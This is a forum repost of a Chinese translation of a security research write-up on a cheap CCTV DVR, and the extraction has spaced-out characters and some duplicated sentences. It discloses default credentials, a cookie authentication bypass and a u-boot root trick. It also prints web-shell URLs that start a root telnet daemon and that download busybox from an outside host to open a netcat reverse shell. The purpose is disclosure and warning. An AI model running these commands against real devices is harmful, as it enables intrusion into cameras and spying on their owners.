搜索

[9836] 2016-02-21_闭路电视探头究竟有多不安全？

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2016-02-21_闭路电视探头究竟有多不安全？ 闭 路 电 视 探 头 究 竟 有 多 不 安 全 ？ v u l t u r e   F r e e B u f   2 0 1 6 - 0 2 - 2 1 闭 路 电 视 探 头 在 我 们 的 生 活 中 无 所 不 在 。 最 近 的 调 查 估 计 全 英 国 大 概 有 闭 路 电 视 探 头 在 我 们 的 生 活 中 无 所 不 在 。 最 近 的 调 查 估 计 全 英 国 大 概 有 1 8 5 万 的 监 控 摄 像 头 ， 大 部 分 都 在 私 人 住 万 的 监 控 摄 像 头 ， 大 部 分 都 在 私 人 住 宅 。 大 部 分 的 探 头 都 会 连 接 到 某 些 录 像 设 备 ， 也 就 是 数 字 录 像 机 宅 。 大 部 分 的 探 头 都 会 连 接 到 某 些 录 像 设 备 ， 也 就 是 数 字 录 像 机 ( D V R ) 。 。 D V R 会 把 多 个 摄 像 头 的 录 像 储 存 到 一 个 硬 盘 上 。 它 们 不 仅 能 够 在 屏 幕 上 显 示 图 片 ， 大 部 分 还 能 联 网 ， 用 户 可 以 通 过 浏 览 器 或 者 客 户 端 来 连 接 。 当 然 商 家 和 户 主 都 会 想 要 远 程 进 入 D V R ， D V R 设 备 通 过 端 口 转 发 连 接 到 互 联 网 ， 也 正 因 为 如 此 ， 我 们 可 以 在 S h o d a n 上 找 到 大 量 的 D V R 设 备 。 所 以 我 们 打 算 买 个 廉 价 的 D V R ， 看 看 还 会 不 会 有 更 加 糟 糕 的 情 况 。 经 过 几 小 时 的 挖 掘 我 们 便 发 现 了 以 下 的 问 题 ： 容 易 被 找 到 容 易 被 找 到 这 款 D V R 会 运 行 一 个 客 户 w e b 服 务 器 ， 它 的 H T T P 服 务 器 头 很 具 标 志 性 ： “ J A W S / 1 . 0 ” 。 在 S h o d a n 上 搜 索 这 个 关 键 字 我 们 找 到 4 4 , 0 0 0 个 设 备 。
弱 口 令 问 题 弱 口 令 问 题 默 认 情 况 下 ， 这 款 设 备 的 用 户 名 是 a d m i n ， 密 码 为 空 。 连 接 电 视 后 使 用 D V R 的 本 地 界 面 就 可 以 更 改 密 码 。 但 设 备 中 没 有 键 盘 ， 所 以 可 以 肯 定 大 量 的 这 款 D V R 使 用 的 是 默 认 密 码 。 虽 然 弱 口 令 已 经 是 老 掉 牙 的 问 题 了 ， 但 是 还 是 物 联 网 领 域 中 普 遍 的 问 题 。 W e b 验 证 绕 过 验 证 绕 过 首 次 访 问 D V R 的 时 候 显 示 的 是 i n d e x . h t m l 页 面 ， 这 个 页 面 可 以 让 你 输 入 用 户 名 密 码 ， 验 证 成 功 后 ， 你 就 会 被 重 定 向 到 v i e w 2 . h t m l 。 奇 怪 的 是 ， 当 我 们 清 空 c o o k i e s ， 访 问 v i e w 2 . h t m l 时 ， 我 们 看 到 页 面 渲 染 了 一 下 ， 然 后 再 把 我 们 重 定 向 到 i n d e x . h t m l 让 我 们 输 密 码 。
这 基 本 上 就 是 J a v a S c r i p t 客 户 端 验 证 的 标 志 了 。 检 查 v i e w 2 . j s ， 我 们 发 现 是 这 样 的 ： $ ( d o c u m e n t ) . r e a d y ( f u n c t i o n ( ) {         d v r _ c a m c n t   = C o o k i e s . g e t ( “ d v r _ c a m c n t " ) ;         d v r _ u s r   = C o o k i e s . g e t ( " d v r _ u s r " ) ;         d v r _ p w d   = C o o k i e s . g e t ( " d v r _ p w d " ) ;         i f ( d v r _ c a m c n t   = = n u l l   | |   d v r _ u s r   = =   n u l l   | |   d v r _ p w d   = =   n u l l )         {                 l o c a t i o n . h r e f =   " / i n d e x . h t m l " ;         } 只 要 这 三 个 c o o k i e 有 任 意 值 ， 你 就 可 以 访 问 了 ( d v r _ c a m c n t 得 是 2 、 4 、 8 或 2 4 ) 。 手 动 设 置 这 些 c o o k i e 我 们 就 能 访 问 了 。 也 就 是 说 ， 我 们 无 需 知 道 用 户 名 密 码 。 打 开 串 号 控 制 台 打 开 串 号 控 制 台 虽 然 拿 到 W e b 界 面 控 制 已 经 很 好 玩 了 ， 但 我 还 要 r o o t   s h e l l 。 打 开 机 器 上 面 的 盖 子 之 后 ， 我 们 发 现 了 J 1 8 。 这 是 个 1 1 5 2 0 0 串 口 ， 虽 然 我 能 看 到 输 出 ， 但 是 没 有 s h e l l ， 也 没 地 方 输 入 。 重 启 设 备 后 我 们 发 现 它 使 用 的 是 u b o o t ， 这 是 一 款 非 常 常 见 的 开 源 b o o t   l o a d e r 。 按 任 意 键 就 能 中 断 u b o o t 。 不 过 你 只 有 一 秒 钟 中 断 u b o o t ， 所 以 可 能 得 多 尝 试 几 次 。 我 们 现 在 就 进 入 了 u b o o t 控 制 台 。 我 们 可 以 修 改 启 动 参 数 ， 改 为 单 用 户 模 式 ， 我 们 就 无 需 密 码 登 陆 了 。 s e t e n v   b o o t a r g s   $ { b o o t a r g s )   s i n g l e b o o t 现 在 D V R 就 进 入 了 单 用 户 模 式 ， 我 们 也 有 了 r o o t   s h e l l ， 我 们 可 以 做 点 猥 琐 的 事 了 。 内 置 内 置 w e b   s h e l l 本 地 r o o t   s h e l l 不 错 ， 但 我 还 想 要 远 程 s h e l l 。
查 看 固 件 后 我 们 发 现 ， 大 部 分 的 功 能 都 是 在 d v r _ a p p 里 面 的 ， 包 括 w e b 服 务 器 。 尽 管 w e b 界 面 中 有 c g i - b i n 目 录 ， 但 我 在 文 件 服 务 器 上 没 找 到 这 个 目 录 ， 有 可 能 d v r _ a p p 在 内 部 处 理 了 这 个 目 录 。 这 样 的 情 况 在 嵌 入 设 备 中 非 常 普 遍 。 对 这 个 二 进 制 文 件 使 用 s t r i n g s 命 令 ， 就 能 看 到 c g i - b i n 了 。 而 且 我 们 还 看 到 了 其 他 的 值 ， 包 括 m o o 和 s h e l l 。 访 问 m o o 目 录 是 这 么 个 情 况 ： 访 问 s h e l l 目 录 会 一 直 加 载 ， 但 访 问 s h e l l ? p s 时 就 能 看 到 进 程 列 表 了 ： 因 此 我 们 就 拿 到 了 一 个 远 程 ， 并 且 无 需 认 证 的 s h e l l ， 这 个 s h e l l 无 法 禁 止 ， 是 设 备 里 面 自 带 的 。 无 需 密 码 登 录 无 需 密 码 登 录 T e l n e t 设 备 在 2 3 端 口 运 行 t e l n e t ， 但 需 要 r o o t 密 码 。 即 使 我 们 能 够 看 到 / e t c / p a s s w d 和 解 密 h a s h ， 我 们 还 是 拿 不 到 密 码 。
我 们 通 过 密 码 破 解 器 看 看 能 不 能 拿 到 密 码 ， 但 这 要 花 点 时 间 。 为 了 解 决 这 个 问 题 ， 我 们 使 用 远 程 w e b   s h e l l 开 启 一 个 新 的 已 经 登 录 的 t e l n e t   d a e m o n ： h t t p : / / 1 9 2 . 1 6 8 . 3 . 1 0 1 / s h e l l ? / u s r / s b i n / t e l n e t d   - l / b i n / s h   - p   2 5 现 在 我 们 可 以 登 录 t e l n e t 了 。 反 弹 反 弹 s h e l l 攻 击 者 可 以 用 反 弹 s h e l l 让 D V R 反 向 连 接 到 他 所 控 制 的 主 机 。 只 要 用 户 有 出 口 连 接 ， 这 招 就 很 管 用 ， 这 是 绕 过 N A T 和 防 火 墙 的 好 办 法 。 家 庭 企 业 和 小 型 企 业 网 络 大 多 不 会 进 行 出 站 的 过 滤 。 一 般 我 们 会 用 n e t c a t 建 立 反 弹 s h e l l 。 跟 其 他 小 型 嵌 入 式 设 备 一 样 ， 这 款 D V R 使 用 b u s y b o x 来 提 供 发 亮 的 s h e l l 功 能 。 这 些 命 令 是 任 意 的 。 很 遗 憾 n e t c a t 不 能 用 ， 但 我 们 可 以 解 决 。 D V R 使 用 的 是 A R M 处 理 器 。 也 就 是 说 基 本 上 不 可 能 直 接 下 载 n e t c a t 或 b u s y b o x 了 ， 我 们 得 进 行 编 译 。 为 嵌 入 式 系 统 进 行 编 译 很 尴 尬 的 ， 尤 其 是 你 得 要 跟 硬 件 交 互 的 时 候 。 还 好 b u s y b o x 和 n e t c a t 的 要 求 不 多 。 我 们 只 需 要 为 架 构 创 建 静 态 链 接 二 进 制 。 这 个 得 是 要 静 态 链 接 的 ， 这 样 就 能 避 免 对 库 的 依 赖 。 这 样 会 使 二 进 制 文 件 变 大 ， 不 过 这 款 设 备 上 没 有 磁 盘 空 间 挺 宽 裕 。 编 译 完 成 后 我 们 就 拿 到 D V R 上 试 试 。 找 一 个 可 写 目 录 。 大 部 分 的 文 件 系 统 都 是 只 读 的 ， 你 甚 至 无 法 更 改 密 码 添 加 用 户 。 这 毕 竟 是 个 D V R ， 所 以 我 们 弄 了 个 硬 盘 ， 加 载 在 / r o o t / r e c / a 1 下 。 用 w g e t 下 载 编 译 的 b u s y b o x 二 进 制 到 这 个 目 录 把 b u s y b o x 设 为 可 执 行 运 行 n e t c a t 反 弹 s h e l l 命 令 如 下 ： h t t p : / / 1 9 2 . 1 6 8 . 3 . 1 0 1 / s h e l l ? c d   / r o o t / r e c / a 1   & &   w g e t % 6 8 % 7 4 % 7 4 % 7 0 % 3 a % 2 f % 2 f % 3 2 % 3 1 % 3 2 % 2 e % 3 1 % 3 1 % 3 1 % 2 e % 3 4 % 3 3 % 2 e % 3 1 % 3 6 % 3 1 % 2 f % 6 2 % 7 5 % 7 3 % 7 9 % 6 2 % 6 f % 7 8 % 2 0   & &   c h m o d   % 2 b x   b u s y b o x & &   . / b u s y b o x   n c   1 . 2 . 3 . 4   8 0 0 0   - e   / b i n / s h   - e   / b i n / s h W g e t 的 网 址 得 要 经 过 编 码 ， 实 际 的 网 址 是 ： h t t p : / / 1 . 2 . 3 . 4 / b u s y b o x 我 们 服 务 器 上 的 n e t c a t 就 监 听 到 一 个 连 接 了 ， 通 过 访 问 构 造 好 的 U R L 我 们 就 可 以 与 D V R 进 行 交 互 了 。
发 送 截 屏 至 硬 编 码 的 邮 箱 发 送 截 屏 至 硬 编 码 的 邮 箱 进 一 步 检 查 d v r _ a p p 二 进 制 ， 我 们 发 现 了 一 些 很 奇 怪 的 功 能 。 不 知 道 为 何 ， 第 一 个 摄 像 头 的 截 屏 会 被 发 送 到 l a w i s h e r e @ y e a h . n e t 。 发 送 D V R 截 屏 的 行 为 严 重 威 胁 到 了 隐 私 。 而 且 奇 怪 的 是 ， 有 人 曾 经 在 F r a n k   L a w 的 G i t H u b 页 面 上 报 告 过 这 一 情 况 ： h t t p s : / / w e b . a r c h i v e . o r g / w e b / 2 0 1 5 1 0 1 0 1 9 1 6 2 2 / h t t p s : / / g i t h u b . c o m / l a w i s h e r e / J U A N - D e v i c e / i s s u e s / 1 然 后 他 撤 下 了 这 个 项 目 。 其 他 问 题 其 他 问 题 事 情 到 此 并 没 有 完 全 结 束 。 这 款 设 备 还 有 其 他 的 问 题 ： 如 果 你 通 过 w e b 服 务 器 获 得 了 s h e l l 或 者 命 令 注 入 ， 你 就 没 必 要 提 权 了 ， 你 已 经 是 r o o t 了 。 这 款 设 备 没 有 C S R F 保 护 ， 你 可 以 诱 骗 用 户 点 击 链 接 ， 就 能 以 他 们 的 身 份 执 行 动 作 。 没 有 帐 号 锁 定 或 者 防 爆 破 措 施 。 你 可 以 一 直 猜 密 码 下 去 ， 唯 一 的 限 制 频 率 的 就 是 设 备 本 身 的 运 行 速 度 。 没 有 H T T P S 。 所 有 通 信 都 是 以 明 文 方 式 发 送 ， 可 以 被 拦 截 ， 可 以 被 篡 改 。 没 有 固 件 升 级 我 们 的 建 议 我 们 的 建 议 把 这 些 设 备 放 到 互 联 网 上 ， 你 就 会 面 临 严 重 的 安 全 风 险 。 如 果 你 把 把 这 些 设 备 放 到 互 联 网 上 ， 你 就 会 面 临 严 重 的 安 全 风 险 。 如 果 你 把 w e b 界 面 端 口 转 发 ， 你 就 等 于 让 攻 击 者 完 全 控 制 界 面 端 口 转 发 ， 你 就 等 于 让 攻 击 者 完 全 控 制 这 个 设 备 。 然 后 他 们 还 可 以 以 此 作 为 跳 板 从 内 部 攻 击 你 网 络 中 的 其 他 设 备 。 这 个 设 备 。 然 后 他 们 还 可 以 以 此 作 为 跳 板 从 内 部 攻 击 你 网 络 中 的 其 他 设 备 。 *   参 考 来 源 ： P e n t e s t   P a r t n e r s ， v u l t u r e 翻 译 ， 文 章 有 修 改 ， 转 载 请 注 明 来 自 F r e e B u f 黑 客 与 极 客 （ F r e e B u f . C O M ）  
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理